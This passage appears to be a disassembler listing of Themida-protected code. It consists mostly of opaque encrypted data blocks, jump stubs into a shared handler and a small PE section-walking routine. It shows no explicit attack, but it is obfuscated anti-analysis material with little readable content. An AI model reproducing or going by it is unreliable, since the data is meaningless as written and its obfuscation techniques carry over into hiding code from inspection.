9EAF9B2Dh dd 15242ABCh, 0E0895022h, 405h, 4E88300h, 5C240487h, 57241489h dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 40682404h, 89000023h dd 6852241Ch, 743F4C56h, 8124148Bh, 4C4h, 90CA8100h, 81002154h dd 291D7AEAh, 5AD0896Eh, 465668h, 24248900h, 4240483h dd 481505Bh, 6D696924h, 8438F4Ah, 6969BF57h, 7B294A6Dh dd 1C8B5F08h, 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h dd 5024048Bh, 405E089h, 83000000h, 48704C0h, 45E95C24h dd 9FFFD3Ch ; --------------------------------------------------------------------------- loc_5B07E8: ; CODE XREF: Themida_:005B01F9j mov eax, 6164483h add eax, ebp loc_5B07EF: ; CODE XREF: Themida_:005B01F4j mov ecx, eax jmp short $+2 jmp loc_5B0E0F ; --------------------------------------------------------------------------- jmp loc_5B0E08 ; --------------------------------------------------------------------------- push 616462Bh jmp loc_58442C ; --------------------------------------------------------------------------- push 6164743h jmp loc_58442C ; --------------------------------------------------------------------------- push 61647EAh jmp loc_58442C ; --------------------------------------------------------------------------- push 61648C1h jmp loc_58442C ; --------------------------------------------------------------------------- push 61649E9h jmp loc_58442C ; --------------------------------------------------------------------------- db 22h ; --------------------------------------------------------------------------- xchg eax, esp retn 0BEE4h ; --------------------------------------------------------------------------- dd 0DEC4E26Ch, 80A2004Ah, 9F81212Fh, 31644212h, 14408DFEh dd 0E4494B6h, 13358AB0h, 103C8DB3h, 37A6A9B2h, 16B3F9DBh dd 6C4E6DA4h, 0F46E76DCh, 4DF1DDC2h, 0B786C81Ah, 0FE717156h dd 0AE2C5B65h, 9D109E56h, 109E5741h, 9E56AB28h, 57389610h dd 5179109Eh, 9AFB4AFEh, 5752B352h, 0AC93109Eh, 67038919h dd 15ADA158h, 4383935Bh, 1E2C8022h, 8706CE4Fh, 909E4E07h dd 69464029h, 8F3C21F4h, 1CBBDA96h, 7A7A136h, 64F78E21h dd 553455E4h, 0AA245976h, 738A8B35h, 1D1BCA12h, 144FFCC4h dd 7F242ABCh, 7B1ACBC0h, 0B044295Ch, 654D907Bh, 0F26F79D5h dd 812ADE93h, 0A047F9F2h, 464A5h, 0FC5AE800h, 0E46AFCDEh dd 0FA50E4C6h, 0EB65F6DCh, 0FC58E5CBh, 2B40EFDEh, 3218B69Eh dd 3012B0A2h, 2B0DAD9Bh, 4714B29Ah, 0FB79D508h, 0CF4216B3h dd 0E06CBD73h, 1507251h, 90C50253h, 109DB536h, 0F5FF9EFFh dd 9DB53796h, 0A5E07310h, 0E8293814h, 4496B889h, 0B5533B0Ah dd 0A8125144h, 0EB3E6413h, 0B7134261h, 80109DB4h, 3081D31Dh dd 499CBE1Ch, 3B7BA403h, 9111C5AAh, 626403CDh, 815E7DCFh dd 9EB0920Ch, 0B23A5B10h, 8CBC0F33h, 34799BDh, 8811132h dd 0DE5BF51Dh, 0CABA134h, 0B3EC5923h, 0AE369594h, 0A14414B0h dd 92ECA341h, 52000003h, 51E06CBDh, 9DB4A120h, 5CEDD710h dd 9A3913A6h, 9D2725B8h, 38ADB2BFh, 109DB4DEh, 614966A7h dd 0ABEA7BCFh, 2B80C221h, 4A9BBD1Dh, 2B7DA502h, 0BC0C4E1Fh dd 7EEDF796h, 7B5B2342h, 0F9480455h, 0EBCB87D5h, 9DB51A78h dd 4C065610h, 52FA4B6Fh, 84DDDB8Ah, 1130A502h, 62168EA5h dd 8B842E23h, 0DE8D8005h, 34C03h, 0A4B20000h, 0BC922406h dd 0A2A83C1Eh, 0C38D1E04h, 0E470BDE3h, 3358D7C6h, 2A10AEA6h dd 381AB89Ah, 2305A5A3h, 4F1CBA92h, 0FC81DD10h, 0D74A16B3h dd 4DE0C26Bh, 52E3F5FFh, 0D6676BFAh, 55E3E776h, 72F9DEFDh dd 167592D7h, 12418F59h, 109EAAF4h, 9E99E363h, 0AEFE2410h dd 9BAD02A4h, 0E3B1FF51h, 9E9A1872h, 55FB4C10h, 91B68504h dd 0F8ADFB5Fh, 0E687E6E2h, 6EA82657h, 9FCA109Eh, 0B24D6221h dd 0D6CCA6Ah, 1AA991AEh, 0DEE62736h, 8EE4AAAFh, 30CCF316h dd 0D7C6D80Dh, 0E627C40Ch, 6108973h, 322FBE80h, 2A5h, 9B3B1BA7h dd 892925B5h, 953515A7h, 8E2C24B3h, 97371DACh, 0D3628BA4h dd 0B1FF2181h, 8C1F01A1h, 0A93C1EBCh, 193603A3h, 0B3FC6AE4h dd 84DE3316h, 8E1D6CBDh, 0CE9FAFFFh, 0FE1F2E4Fh, 0CB1A409Fh dd 9EA03F89h, 242E7E0Bh, 83D2F445h, 0F190BA0Eh, 82CC5E60h dd 0D6739DB3h, 0F4D607EFh, 3D5CED63h, 32E059B3h, 0B50DAD9Fh dd 0A341EAE7h, 2104Fh, 0F94A7000h, 3D870657h, 4EE0C2A3h dd 0BB0D3100h, 3E5FBE8Fh, 0B4F757B6h, 0A033109Dh, 9A270BA8h dd 626AABBAh, 4FF94E74h, 387DCFEh, 9DB578D2h, 0BDDC4110h dd 0CF6CE6ACh, 1E6BFF28h, 725DB9Dh, 489BBDh, 4D4A0AA2h dd 48F2A341h, 48000000h, 0EBC8BEA3h, 8E98F77Ah, 0D88D1016h dd 80056EEAh, 0CE815C0Bh, 7E000001h, 0A2882630h, 0BAA03E10h dd 0A4862426h, 0BB9D3D13h, 9588262Eh, 70E4719Ah, 72E07052h dd 6FD96E54h, 74D8694Fh, 13428D56h, 16B3FCB7h, 0D6352980h dd 0B51284F9h, 173B109Dh, 0B13E86C6h, 29381CA9h, 0D6B79325h dd 5CED63F4h, 0C90D5C3Dh, 0CEF4D276h, 8FB90E7Bh, 2F3E5FBEh dd 93B50A30h, 8EF0ED49h, 93B50A30h, 90BC0D33h, 232F7DC1h dd 0E7879A83h, 0AB002F95h, 54CE3F20h, 1D109E96h, 0D36569F8h dd 0D3661FB4h, 0C8A9E879h, 0D10D09A9h, 972710AFh, 673C793Dh dd 87CB1AA2h, 50025235h, 8BB49131h, 684613BAh, 0C44D72A8h dd 506D4CB8h, 96F4935Dh, 0D7109E70h, 0BE2866F3h, 842A5EBCh dd 0BFFBC5A4h, 73EF1EAAh, 0AC109DCEh, 9DCDDD39h, 0D867A610h dd 86F7D4B5h, 168EC83Fh, 7C5E7DA0h, 634764EAh, 0A8E978D0h dd 0BE103220h, 9D82C190h, 0E1E3271Dh, 95B70180h, 13370642h dd 9ABC8DC5h, 0F7350446h, 0A4FCCEF2h, 1FF2A710h, 617E617Eh dd 8A12B22Ch, 0D21A7B0Ah, 7B07FE33h, 63167710h, 79F1DC8Dh dd 0A6F6D39Ah, 0A6000000h, 0BAA03E18h, 0A2882628h, 0BC9E3C0Eh dd 0A385252Bh, 0ADA03E16h, 78DC6982h, 6AE8785Ah, 77D1664Ch dd 6CE07157h, 2B5A854Eh, 16B3FDAFh, 0BD3D2178h, 0DCC3E06Ch dd 2ADEFC36h, 0CD1CA4EAh, 351BAC8Eh, 0F9DBE524h, 5BB72668h dd 24109DD8h, 0C9B180E1h, 351DCA3Fh, 3B1DA7A3h, 0FF4FDFAAh dd 704E2F6Eh, 41C904D4h, 17ACA3h, 70920000h, 109DB511h dd 118AFC4Dh, 2DCFFC5h, 183797F6h, 1Ch, 0B51270B6h, 0FB4E109Dh dd 6B547151h, 4CC14E4Fh, 109DF6D2h, 0E557A9Bh, 5A04CC3Ah dd 255D168h, 2F000000h, 0E571BD6Dh, 6DDF7254h, 0E365FADCh dd 72E07052h, 252DFE3h, 92C20F33h, 20307FC3h, 0AF9B2D11h dd 242ABC9Eh, 0EC832215h, 48F5404h, 24048124h, 4, 81E68956h dd 4C6h, 4EE8300h, 5C243487h, 52241489h, 0C281E289h, 4 dd 8704EA83h, 895C2414h, 6568241Ch, 8B061645h, 0C4812414h dd 4, 8904EC83h, 4812424h, 424h, 89515B00h, 84B89D1h, 83240C8Bh dd 34FF04C4h, 0C4815B24h, 4, 5024148Bh, 405E089h, 83000000h dd 48704C0h, 31E95C24h, 3DFFFD36h, 0A0A99707h, 357A6A53h dd 0ECD01A98h ; --------------------------------------------------------------------------- loc_5B0E08: ; CODE XREF: Themida_:005B07F8j mov eax, 6164AB4h add eax, ebp loc_5B0E0F: ; CODE XREF: Themida_:005B07F3j mov edx, ecx jmp loc_5B0E67 ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] add esi, [esi+3Ch] mov edi, [esp+28h] mov edx, esi add edx, 0F8h mov cx, [esi+6] movzx ecx, cx loc_5B0E31: ; CODE XREF: Themida_:005B0E5Cj cmp ecx, 0 jz loc_5B0E50 cmp edi, [edx+0Ch] jg loc_5B0E58 sub edx, 28h mov eax, [edx+0Ch] mov ecx, [edx+14h] sub eax, ecx sub edi, eax loc_5B0E50: ; CODE XREF: Themida_:005B0E34j ; Themida_:005B0E62j mov [esp+1Ch], edi popa retn 8 ; --------------------------------------------------------------------------- loc_5B0E58: ; CODE XREF: Themida_:005B0E3Dj add edx, 28h dec ecx jnz loc_5B0E31 jmp loc_5B0E50 ; --------------------------------------------------------------------------- loc_5B0E67: ; CODE XREF: Themida_:005B0E11j mov edx, 9FD3Eh jmp loc_5B0FD7 ; --------------------------------------------------------------------------- db 0B9h, 0D9h, 0D7h dd 95ECE75Dh, 715893DAh, 0B6CFDF06h, 5D54FDBEh, 0ECA43636h dd 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h, 77CB50C1h dd 0ACAC3252h, 46BF009Ch, 90ADFC6Ch, 0A3365973h, 72E275D6h dd 90BD9Ch, 8CE693DDh, 0A592A79Bh, 0A7ABDD64h, 918F9792h dd 0F95CFC7Ah, 0B1E496B9h, 47E4B59Bh, 0E592B69Fh, 0BDF694B6h dd 0B3EBB59Eh, 93D0EC96h, 97BF999Ch, 0F55CFD7Bh, 0AFF49389h dd 0B2CD00EDh, 0E594A6E3h, 0C3B5D4h, 622D4457h, 0AE29B0F3h dd 2Ch, 34h, 38h, 2 dup(0) dd 4, 94h, 5, 1, 0A28h, 2, 76726553h, 20656369h, 6B636150h dd 3220h, 26h dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5B0FD7: ; CODE XREF: Themida_:005B0E6Cj jmp loc_5B2F71 ; --------------------------------------------------------------------------- push 6164F20h jmp loc_58442C ; --------------------------------------------------------------------------- push 6165018h jmp loc_58442C ; --------------------------------------------------------------------------- push 61650BBh jmp loc_58442C ; --------------------------------------------------------------------------- push 616519Dh jmp loc_58442C ; --------------------------------------------------------------------------- push 616522Fh jmp loc_58442C ; --------------------------------------------------------------------------- push 6165310h jmp loc_58442C ; --------------------------------------------------------------------------- push 61653B7h jmp loc_58442C ; --------------------------------------------------------------------------- push 6165461h jmp loc_58442C ; --------------------------------------------------------------------------- push 616586Ah jmp loc_58442C ; --------------------------------------------------------------------------- push 61658F8h jmp loc_58442C ; --------------------------------------------------------------------------- push 6165A0Eh jmp loc_58442C ; --------------------------------------------------------------------------- push 6165D1Ch jmp loc_58442C ; --------------------------------------------------------------------------- push 6166146h jmp loc_58442C ; --------------------------------------------------------------------------- push 6166467h jmp loc_58442C ; --------------------------------------------------------------------------- push 61665AAh jmp loc_58442C ; --------------------------------------------------------------------------- push 616661Ch jmp loc_58442C ; --------------------------------------------------------------------------- push 616667Ch jmp loc_58442C ; --------------------------------------------------------------------------- push 61666CEh jmp loc_58442C ; --------------------------------------------------------------------------- push 616686Ah jmp loc_58442C ; --------------------------------------------------------------------------- push 6166965h jmp loc_58442C ; --------------------------------------------------------------------------- push 6166B27h jmp loc_58442C ; --------------------------------------------------------------------------- dw 15A1h dd 0EF3F6141h, 7597F5Fh, 0EE3D6343h, 0CF5E4462h, 39F62585h dd 0EFCF85D4h, 0F7D77BC9h, 0ECCA7ED1h, 0F9D973C6h, 247EEFF0h dd 0ED16B402h, 0E0C28AB4h, 716EFF4Dh, 9DB4A2FCh, 4B2A6B10h dd 4EFE4F81h, 57FB4971h, 0AE3D8706h, 933319ACh, 9B384E93h dd 8EA30F6Ah, 3270816h, 6DE998B0h, 360A8A9Fh, 985F8D7h dd 0D20A8A9Fh, 59BC29B3h, 0E8E4CB08h, 0F74D203Fh, 0BB8F2185h dd 0CB74D231h, 3FCB0A89h, 0F0D2A2CAh, 3A7A5AADh, 0E0000000h dd 0EBC8BEA3h, 8BDA7AC7h, 554F447h, 0FEDBE584h, 8E988E8Fh dd 2F3E5F16h, 8A8980DEh, 0BE3BD70Ah, 0EE7A2E19h, 3F0E4291h dd 0DA98F9DEh, 6E2EB63Eh, 0D65AADD8h, 0B6h, 0E06CBD6Ch dd 0FF4FDFC3h, 46A52F6Eh, 0CE9FB504h, 4213398Ch, 3F9FAD00h dd 52CC411Eh, 1B109DB5h, 0B54DC93Ch, 0F716109Dh, 0A0BF4E96h dd 5D109DB1h, 5D67E375h, 4462EA7Bh, 0B081CB5Eh, 0BA196D74h dd 8EB6464Bh, 1DAB8F16h, 0A28C0677h, 30550A8Ah, 37810051h dd 4B4B6BAAh, 22537016h, 10750C1Fh, 143695F8h, 92F8FC5h dd 40E598BCh, 5D79EFE8h, 1CD093CEh, 51DD0000h, 3383A505h dd 4395BB1Bh, 3281A707h, 4B9AC01Eh, 0B57AA909h, 6B4B0958h dd 7B5BF745h, 68460255h, 7D5DEF42h, 0A0FA6B74h, 6916B403h dd 70BD0E30h, 51E4C6E4h, 89249335h, 9680462h, 0BEA30FA9h dd 7AC7EBC8h, 0B687C717h, 0B1AE3657h, 8E985D3Ch, 5EEF2E16h dd 8A87AF2Fh, 0F55DEB0Ah, 80D26264h, 87048EB1h, 3EBB579Eh dd 0AD395E1Eh, 0C2065Ah, 0BD5C0000h, 6D51E06Ch, 94E574E0h dd 109DB177h, 7DF09E2Fh, 109DB121h, 0FA490555h, 0FBDCFA9Bh dd 0AFF755D4h, 0D665EBAEh, 7FD11B7Ah, 104F1E2Eh, 0A9B89A2Ah dd 6298A6A2h, 0C6DA769h, 157178C4h, 6F4247B6h, 0AC8B168Eh dd 5C005A8Bh, 44C90A8Ah, 8A5BB915h, 0B903820Ah, 0E6C6232Ch dd 9DFB3942h, 87E2DEFCh, 99ADE0FFh, 92107479h, 1E2F1DB0h dd 19419EFFh, 82A88CCh, 4DE69BB9h, 5679EF64h, 1BD8BA97h dd 89D50000h, 7BCBEDCDh, 7BCDF3D3h, 7AC9EFCFh, 83D2F8D6h dd 6DC2F1D1h, 3A3B100h, 0E3C38F1Dh, 0DE6ABDh, 0E5C587DAh dd 882F3DCh, 0D116B405h, 0E0C2E658h, 98BA0250h, 85AB0B49h dd 20BA1834h, 51E06CBDh, 5270DC6Dh, 8CFB4D75h, 6B75143Ah dd 11588965h, 503123B2h, 0A5630273h, 1174168Eh, 0C8FB5FEEh dd 3C25A600h, 5F86D4Ah, 0FE53ED25h, 7772CE9Fh, 883DB00Fh dd 14DD9FBh, 0ED203F9Ch, 41D5E771h, 0C411DB3Ah, 0A1014BDEh dd 450F9E84h, 8108597Bh, 0CD4C1D31h, 0D5E0B9ACh, 5615B750h dd 1B357Bh, 6CEA7800h, 74DA6C4Eh, 6AE07456h, 7BD5664Ch dd 6CE8755Bh, 0BBD05F4Eh, 0A288262Eh, 40624012h, 5B7D5DEBh dd 5764420Ah, 4890578h, 3F5216B4h, 0E06CBD23h, 20557251h dd 109DB4A6h, 388C2E6Fh, 0FAC24312h, 0B025A3BEh, 109DB556h dd 0A1A93B1Fh, 71107190h, 0AF3E2352h, 0B6D7168Eh, 1103718h dd 7A1E139Ch, 0C0D2F8C0h, 0E7C4C2A7h, 7B3CF776h, 434F7810h dd 188BD5A9h, 0EAF07D47h, 0ABDAF95Bh, 477392Fh, 13F495F8h dd 66EA17Ah, 0D4B2B7CBh, 0CC7386F7h, 296C42B6h, 0FEC51C18h dd 7293A2ACh, 3E8EB413h, 0E2C44514h, 0E6F3FD4Fh, 0A3A3C277h dd 3887AB3Ch, 0C84918h, 9D852263h, 92F3420Eh, 94250D4Ah dd 153D1AB8h, 135DC2C4h, 0E059EEBBh, 8751B081h, 2558F445h dd 0A61A965Eh, 53EDE87Fh, 5A00001Ah, 466C4A0Ch, 567C5AF4h dd 486A4802h, 577959F7h, 396C4A0Ah, 0C4895F6h, 163C8CAEh dd 0B3D92B8h, 183485ABh, 3FAEB1BAh, 16B405E3h, 0BDC975ACh dd 5351E06Ch, 2A5B780Eh, 168EA4EBh, 70EA1B3Ch, 390A8AA4h dd 2F15B5D4h, 0C2C41DBEh, 94F170E5h, 8302107Bh, 0EABFED60h dd 243D800Eh, 0CE5D4562h, 0E12437BCh, 0DCBD6B09h, 0A396C714h dd 9C6DC008h, 95CCE879h, 0CEA3D2F1h, 4767ACDFh, 70C1E9C6h dd 89DCFEDCh, 0B9E38EC3h, 39F0D123h, 19C11Ch, 0F85EEC00h dd 0E866F8DAh, 0F654E8CAh, 0EF61F2D8h, 0F85CE9CFh, 2744EBDAh dd 361CBA9Ah, 2C0EACA6h, 2F11B197h, 4310AE9Eh, 76DE91Ch dd 0E33616B4h, 0C6DDC27Fh, 13354E0Fh, 83D27CCEh, 77596302h dd 0D9D766E6h, 0A4D9F690h, 168EE8A1h, 9ABB1B7Ah, 0A12B29B8h dd 96BC26ABh, 1B380943h, 8AD670EAh, 0B5D4390Ah, 0ACDA0F2Bh dd 0C75FDE0Fh, 6770107Bh, 64607ABCh, 44557A6Dh, 3569BCCAh dd 0A8F71879h, 10213382h, 2498E7F1h, 91E1B9D8h, 743A90A6h dd 0BA02ECC4h, 8423637Eh, 26D65C51h, 372550Dh, 122D387h dd 9DACCD50h, 0F26CA1BEh, 0BB0122D2h, 0A98B755Ah, 634D081h dd 1F6782BEh, 5479AC0h, 9A6F9EBBh, 830713A6h, 7840109Fh dd 250DAAEBh, 381AB894h, 0C9B2A7A5h, 2708A80h, 18E06E6Bh dd 81CD0000h, 83D3F5D5h, 73C5EBCBh, 82D1F7D7h, 7BCAF0CEh dd 65CAF9D9h, 3B9BB908h, 2B8BC715h, 3896B205h, 2D8DBF12h dd 50CA3B24h, 1916B408h, 6CBD5E00h, 0E5351E0h, 97C5B78h dd 109DB48Dh, 0B0AD3756h, 8EAA083Dh, 0C4C6F116h, 727F4849h dd 0ADF07D47h, 16B7270Dh, 0E91CBBCBh, 107B1448h, 3AD33459h dd 772EA09Bh, 4562243Dh, 9F0B1D10h, 0F6311676h, 0D9E2644h dd 0EB7AD665h, 9BAACBAAh, 6542449Dh, 8BA13DF0h, 4194B670h dd 0BADB3A0Bh, 0A8A4351Dh, 0B5052D0Ah, 0ACFD4F99h, 7BD4ADA0h dd 32F9DA02h, 183917h, 70E67400h, 70DE7052h, 6EDC7052h dd 77D96A50h, 70E47157h, 9FCC6352h, 3E644212h, 644664EEh dd 775979CFh, 7B4866E6h, 7A52154h, 3B6E16B4h, 70E5C207h dd 109DB516h, 2436BEDFh, 8EAABB91h, 0AE943353h, 2224351Fh dd 6BAABB8Dh, 0DE38AD0Ah, 0A7109DB4h, 0C815E66h, 168BF8DCh dd 0B32F5E81h, 7C0A8767h, 0F312CF19h, 7FDFEBD4h, 979D3329h dd 972A104Dh, 0FCE615B5h, 0F60A8728h, 173999E9h, 12986C6h dd 7559FB3h, 7A4E207h, 756DC6D6h, 3D9AFB10h, 2989C515h dd 0C697B707h, 661B3184h, 79EBCB89h, 8FF6D39Ah, 1E000017h dd 0C2E8C690h, 0DA00DE70h, 0C4E6C486h, 0DBFDDD73h, 0B5E8C68Eh dd 90C4117Ah, 92C01032h, 8FB90E34h, 94B8092Fh, 0B3222D36h dd 16B40957h, 0A3550920h, 0CCEBC8BEh, 0BEFD42E3h, 0A7311495h dd 8C314858h, 0BB187D16h, 6EAFB39Ch, 0F5FDD169h, 845190CEh dd 48905C52h, 3999B306h, 3A0E2FDh, 0D091481Ch, 0C711B6B9h dd 9F0B5B8Ah, 59BC0A87h, 9F187908h, 706F0A87h, 8C54F64Ah dd 0FCDE8902h, 7FD7E167h, 5AA80CB1h, 8019h, 0DDC23D00h dd 8BF04928h, 3D794387h, 64436022h, 0D465EF3Eh, 90C411B5h dd 97840C1h, 109DC991h, 93C2E5C2h, 109DCA37h, 72EC9D00h dd 3B109DCAh, 305512DAh, 0CA72D021h, 1AAE109Dh, 8A1D2130h dd 1AABAFBEh, 0C1E22332h, 844D38D1h, 0E4C6710Ah, 6AF2FA50h dd 0A341F3AAh, 2412h, 11702800h, 33109DB5h, 0A7B582Eh dd 168EA403h, 70DA6E54h, 4CDDE1h, 27B1D031h, 5A7B5BBAh dd 626AE878h, 0C8BEA3F8h, 51E6CCEBh, 0CFAEA434h, 0AF9B8605h dd 0C144168Eh, 51FB4E70h, 2735471h, 0A8A9888h, 0D204CC51h dd 84DE0F7Fh, 0BD0A8A98h, 8A97CE48h, 0E976970Ah, 0C4E6C5A4h dd 508FDE74h, 8A97C11Dh, 6A0B8A0Ah, 97BE184Dh, 6870A8Ah dd 9E2B2FBEh, 9C2B66F3h, 564A5B4h, 62F1D564h, 0D0B1992Bh dd 63EF3D81h, 781181D2h, 0A285BA8Dh, 8A97D733h, 737DA00Ah dd 5FF2A019h, 5AEBCDEDh dd 0CDAC9C2Fh, 5D29407Ch, 84020F7Eh, 0AAEB107Bh, 0B4072B0Ch dd 7C44C594h, 6645075Ah, 7492A441h, 9D3CEF3h, 95CC2B5Ah dd 1D555C84h, 95D4FBACh, 0F0976FD8h, 22B3A52Fh, 13A68C2Ah dd 72B2839h, 0FD4F99B9h, 0BD93A2AEh, 0B90CB653h, 0BC0D3393h dd 80D17DCDh, 0D3D16001h, 0AADBF88Eh, 92319437h, 2C0EADF0h dd 0F45EEE97h, 0F4452465h, 2B0D4B95h, 2D15B29Ah, 0C726AE9Ah dd 4C1D3583h, 0E7D1B90Ah, 8F2E35C3h, 5A7CCDACh, 0D1F64709h dd 9C513AC3h, 0F121324Ah, 3517AA58h, 0B384E524h, 0C518CA3Fh dd 21062787h, 0C351AAC3h, 26B317E3h, 0F6FE1F2Eh, 6AFB51E4h dd 21B0134Eh, 755233h, 8C1DD109h, 86C4183Ah, 0E18E56B7h dd 0A93C1EBCh, 8AB592A3h, 4DA3F175h, 449ECF44h, 0D801A4Eh dd 0A0DFE988h, 701A4E22h, 0B180CA5Eh, 42133F8Dh, 7E67E40Eh dd 13C4355Dh, 2AB2A22Fh, 17B79528h, 9BAA9E31h, 1B2A2AB7h dd 0AE64D573h, 0A98F2F19h, 0AD953216h, 0E223321Eh, 0F8478BDAh dd 4DEF6B9Ah, 9123701Ah, 0DA69A8B9h, 0D88BDABBh, 0DD75C3E7h dd 52007913h, 0FE588DFDh, 32701A4Dh, 7E9FAEA0h, 0EDCDACF1h dd 81D078CBh, 6B483E23h, 0B482FFAh, 0A4B5D876h, 15CD3EB0h dd 72886C2h, 3259B528h, 0E3226A07h, 2366F7D9h, 8BDABB93h dd 4293F647h, 0B78FA50Ah, 319D9585h, 8FF90150h, 57F548FAh dd 164E4F78h, 0F3D874C5h, 757FAD5Fh, 0D3644667h, 2DEB737Dh dd 95FA28F5h, 23h, 0DE6ABDA9h, 4E38318Fh, 85A9FC71h, 0EDD2168Eh dd 71449EBCh, 0FA677164h, 0A7C684D8h, 3F2807h, 0C2860000h dd 320351E0h, 74C709D3h, 0A5D8F7D4h, 109DB529h, 0F07FCB5Dh dd 0B5247EEFh, 0A8ED109Dh, 4460FFC9h, 654A691Dh, 0B3FCA904h dd 0BC99234Ch, 8F32F449h, 0FB6A6D16h, 0A8B2E9Fh, 66442568h dd 0C0D9B9CCh, 74EE1FA9h, 3D109DB5h, 0EB1AB9D8h, 168EA64Ah dd 0B29D3A5Bh, 29773299h, 6627B115h, 1B2C6BE7h, 675C85DEh dd 0A8E978D8h, 77C8EAC9h, 0E5C20FD9h, 9B1D6FBDh, 0F5F78133h dd 0C3428AEBh, 1BC80DAEh, 0D9D766A7h, 0ABA33390h, 0E5CAEDCAh dd 5B7CC384h, 22616B47h, 15B4E34Fh, 213382C8h, 1524307Dh dd 143695F4h, 0D775C8C1h, 0C73619B6h, 9B0CF4Bh, 0E9E7F114h dd 0C11376C7h, 3859B889h, 2BBD3045h, 0A3BE6D7Fh, 1386h dd 1BBB9B27h, 9A9A535h, 15B59527h, 0EACA433h, 17B79D2Ch dd 53E20B24h, 317FA101h, 0C9F8121h, 29BC9E3Ch, 99B68323h dd 0B40CEA64h, 45EB316h, 9DB61670h, 8F393010h, 203119ABh dd 0B41670E1h, 0DF109Dh, 9DB4118Dh, 0DABBDA10h, 0A5361CBBh dd 717B9AABh, 0A21CF164h, 0B0D5168Eh, 0AC9C2F13h, 310E310Eh dd 8A9C62BCh, 7BEA2B0Ah, 0A8A9C1Fh, 9BA92558h, 13720A8Ah dd 0D5F7C144h, 5377C682h, 0C174A02h, 3580058Ah, 12F85B76h dd 29B50000h, 1BAB8D2Dh, 1BAD9333h, 1AA98F2Fh, 23B29836h dd 8DA29131h, 2383D160h, 3A3AFFDh, 20BE8A1Dh, 5A5A73Ah dd 68E2133Ch, 3116B40Dh, 0E5C246F8h, 9DB51670h, 36BEDF10h dd 8A7DF0Ah, 8EA400D5h, 7754B916h, 70E27258h, 7AD46668h dd 6AE4765Ch, 0E666F7DBh, 6BE37357h, 2569F8DAh, 0AC7A96A2h dd 0EE7F1E52h, 2411AA28h, 3AED5E90h, 0F1DB1B15h, 0C20AD7D4h dd 0B2103E90h, 7078118Ch, 17A7F314h, 0AAAF9837h, 27135EC7h dd 176605CFh, 0A8AAAB6h, 0E98E2B97h, 16DE72C1h, 0FFDC72C4h dd 72C38BDBh, 0A58BC913h, 0C283915h, 0E312B1D5h, 1078EF91h dd 2288706h, 72D5D7AFh, 7D005537h, 9398BF1Ch, 0A85875E1h dd 4A706E76h, 517655F7h, 0C5315BE3h, 10CF195Ch, 1AB9CD14h dd 62F414EBh, 0AF0C910Ah, 0A13FA790h, 92A881C1h, 636D0C3Eh dd 4E6CE071h, 5473D96Ch, 8BB3816Bh, 3CD7BFDh, 65214864h dd 39FA1746h, 0C243044Fh, 0C6279E8Fh, 0D9F4B36Dh, 11E2h dd 0F7D77FCBh, 0EDCD81D1h, 0F1D179CBh, 0F2D080CFh, 0F3D381D0h dd 0AFFE6FC0h, 952305A5h, 0A83B1DBDh, 8D2002A0h, 0D521FBFh dd 0B40F7ED8h, 70D24716h, 2130DDC2h, 599871D8h, 0E89DF08Fh dd 6EC1109Dh, 0A5BCFCDAh, 0E493C2E1h, 51168C33h, 62BC310Eh dd 2B0A879Dh, 9D1F7BEAh, 0A5E80A87h, 71C3E7C4h, 475FF9D9h dd 0A3C1DE89h, 18531h, 0E0C20500h, 0C7F3FD4Bh, 0DFC3E09Eh dd 0D1300151h, 93C24D07h, 109DB532h, 1F7BEA29h, 0E8109DB5h dd 0C3E7C4A5h, 0A8BDA72h, 68C218C2h, 77580B75h, 9DB48C06h dd 0DD6D5510h, 42B31071h, 109DB4C8h, 1AC40C91h, 8675DDC2h dd 5C430D9Eh, 22AAD31Ch, 9EB8C816h, 0BDA3A781h, 64FE6BC7h dd 41DE9947h, 0EC547BA6h, 0A7D32489h, 37B2E9F3h, 88000000h dd 69C5BBA3h, 0B53293C2h, 8203109Dh, 50E0C2A8h, 3F5EEE3Fh dd 0A887A8B5h, 9DB4D935h, 5963A210h, 0DF6BBDFFh, 4DDC283h dd 1B60CC9h, 0A87A9C24h, 53C4h, 0BBA36A00h, 0DE062AFFh dd 7F1E66C4h, 0CF47760h, 0BDBD5318h, 9E87CE48h, 17769710h dd 0DDC213CDh, 0AD20ACF8h, 578625CEh, 109DC6FBh, 5A7741C4h dd 9DC6AA2Bh, 372A110h, 109DC687h, 0E84128B8h, 6CFBF6D3h dd 0C2EE4829h, 51E0C268h, 4597B903h, 0E37D2905h, 41DE9947h dd 4641A6h, 0B0920000h, 2DA7311Fh, 6BC7BDA3h, 0F5BAE5C2h dd 60BA2BC9h, 29109E7Ch, 1844BFE4h, 56B7569Eh, 27109E7Ah dd 0E0C24CE6h, 0E6F3FD4Bh, 4DE0C24Ch, 0B552CC41h, 0FA1B109Dh dd 814BCA9Bh, 0F34FFF4Fh, 1BC4E37Dh, 6A000000h, 6BC7BDA3h dd 351E0C2h, 0E8699CB9h, 0DF109DB4h, 68C2E47Eh, 45E16DBDh dd 0E5C2E37Dh, 9DB51670h, 0C41E4F10h, 8D109DB4h, 0F8DA3B08h dd 3859E866h, 0FE79A5B0h, 0A486FFFFh, 0EF2E3F15h, 0E0C27BE5h dd 7CB8004Eh, 53822165h, 168BF941h, 92B81776h, 90AD0D3Fh dd 89DE87A7h, 0DD7CBF3h, 0EFCCB6B1h, 35ABE7D0h, 6B9B5F6Dh dd 86F9A0FAh, 8724690Ah, 86F9FC56h, 7840C50Ah, 0F9B02A5Bh dd 14790A86h, 93240645h, 7CD433BDh, 0C70A86FAh, 0CC46B798h dd 950A86F9h, 50FA4E70h, 0DA8DFE88h, 346CDCF5h, 0DD7B0F7h dd 0A84A8755h, 2B2F5Ah, 70130000h, 109DB512h, 7151FB4Eh dd 9DB48302h, 7BCA510h, 49C899B9h, 435A8B28h, 84168EA3h dd 9E84A101h, 5D78400Ah, 0B2h, 0C8BEA301h, 0AB037AEBh dd 8104168Eh, 0A3EFFD22h, 3143DB15h, 9B00A4CAh, 0F4FC41CAh dd 0D870C3E7h, 0C787D7FBh, 8FCD1776h, 233216A9h, 0DAADC05h dd 7888B0D8h, 33A28510h, 473F7D7h, 0C495BD0Bh, 3397F645h dd 0C623ADA5h, 16476847h, 473F7BCh, 9BB80085h, 0FF5E24B7h dd 0E151157Bh, 0ECCEEC8Dh, 4460F157h, 1B4A691Dh, 0A623E6Fh dd 3416B5D8h, 250BABA1h, 